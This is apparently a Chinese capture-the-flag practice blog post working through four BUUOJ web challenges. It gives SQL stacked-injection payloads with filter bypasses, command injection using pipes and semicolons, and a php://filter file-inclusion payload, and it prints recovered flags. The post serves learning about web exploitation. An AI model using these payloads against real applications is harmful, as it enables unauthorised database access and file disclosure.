BUUOJ 刷题记录5-8
[强网杯 2019]随便注
之前在哪儿好像看到过这道题的WP, 和我不会做也没啥联系??
题外话, sqlmap正确的
(不行, 感觉这个样子没啥思路, 先去补补sql注入基本姿势再来)
? 首先用1'测试一下, 发现存在注入. 然后用下面语句测试发现有数据库两列
1' order by 2--+
#和
1' order by 3--+
? 然后试试
1' union select 1,2--+
发现被滤了, 如图
? 然后学到了一种新的注入姿势: 堆叠注入
堆叠注入
原理:
? 利用";"注入多条语句执行
利用:
1'; show databases;--+ 爆数据库
? 得到如图
? 再
1';show tables;--+ 爆当前数据库的表
? 得到
? 看看表
1'; show columns from words;--+
#和
1'; show columns from `1919810931114514`;--+
? 一定要注意, 当表名为数字的时候要用反引号将其包裹起来查询
? (1919810931114514)
? 这时候看到flag了, 但是select被滤了, 所以尝试绕过(Google Hack)
方一:
? 将
select * from `1919810931114514`
? 用十六进制编码后绕过前端检测, 然后利用prepare from语句进行预处理解码, 最后使用execute执行(不能用set, 这个也是关键字, 通过改变大小写绕过)
payload:
1';Set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare hack from @a;execute hack;--+
方二:
? 利用handler来绕过并读取
1';handler `1919810931114514` open as `a`;handler `a` read next;--+
? handler能够一行一行的浏览数据, 但是是MySQL特有的语句, 未包含在SQL中, 在select被滤的时候很好用
[SUCTF 2019]EasySQL
? 打开之后发现是数字型, 就不能用--+, 得用#来注释(我就说为什么啥都没反应)
? 然后发现from和其他一些关键字被滤了
? 尝试堆叠注入, 能成. 爆出现下面信息
? 然后就是如何读取Flag了
? 首先是想试试前一题学到的两种方法, 但是handler被滤了, 用16进制转又被判定太长了, 又不会了
? 搜来的wp里面说是源码泄露 ?? 那就是吧, 语句如下
$sql = "select ".$post['query']."||flag from Flag";
? 看了师傅的wp之后理解了
方1(太妙了):
? 直接输入"*,1" , 直接爆出flag
? 解释:
? 由于语句为$sql = "select ".$post['query']."||flag from Flag"; 其中的||为or, 那么输入*,1 后,即为 select *,1||flag from Flag -> select *,1 from Flag 直接爆全表, tql!!!
方2(官方wp):
1;set sql_mode=pipes_as_concat;select 1
? set sql_mode=pipes_as_concat用来将||转化为连字符(就像它的英文意思一样, 把管道符看作concat), 然后就是这样
? 参考了,受益匪浅
[ACTF2020 新生赛]Exec
这道题好像攻防世界有一道类似的来着?
? 我可能忘了,但是谷歌浏览器是有记忆的 (/捂嘴笑)
? 有两个思路, 一是用管道符, 二是用分号
管道符:
? |:直接执行后半部分的语句, 如图所示
? 然后 cd 再 cat就出了
分号:
? ;:执行完前一句后执行后一句(和堆叠差不多), 如图 (网址不一样是因为刚刚用find把网站弄崩了重开了一个)
? 然后就cd看文件, cat读文件完了
[极客大挑战 2019]Secret File
? 首先看源码, 跳转到./Archive_room.php, 然后点了secret按钮之后就被迅速跳转了, 果断抓包看看. 发现提示到/secr3t.php去看看, 出现如下画面
函数:
? strstr与stristr都是用于检查某段字符串是否存在于被检测的字符串中, 若存在则返回剩余部分, 但两者的区别是strstr的搜索区分大小写而stristr不区分
? 语法:
strstr(string,search,before_search)
- string: 规定被搜索的字符串, 必需
- search: 规定要搜索到字符串, 必需
- before_search: 默认值为false. 若设置为true, 它将返回search参数第一次出现之前的字符串部分. 可选
解题:
? 直接?file=flag.php的话会成这样
? 又想到了include, 尝试一下伪协议读代码
payload = ?file=php://filter/read=convert.base64-encode/resource=flag.php
? 然后拿到了base64加密后的flag.php的源码, 去解码一下, 如下
FLAG
啊哈!你找到我了!可是你看不到我QAQ~~~
<?php
echo "我就在这里";
$flag = 'flag{889dbcd0-3c92-40be-a8d2-98fa4c337243}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
? 就完了
怎么这几道题这么简单啊??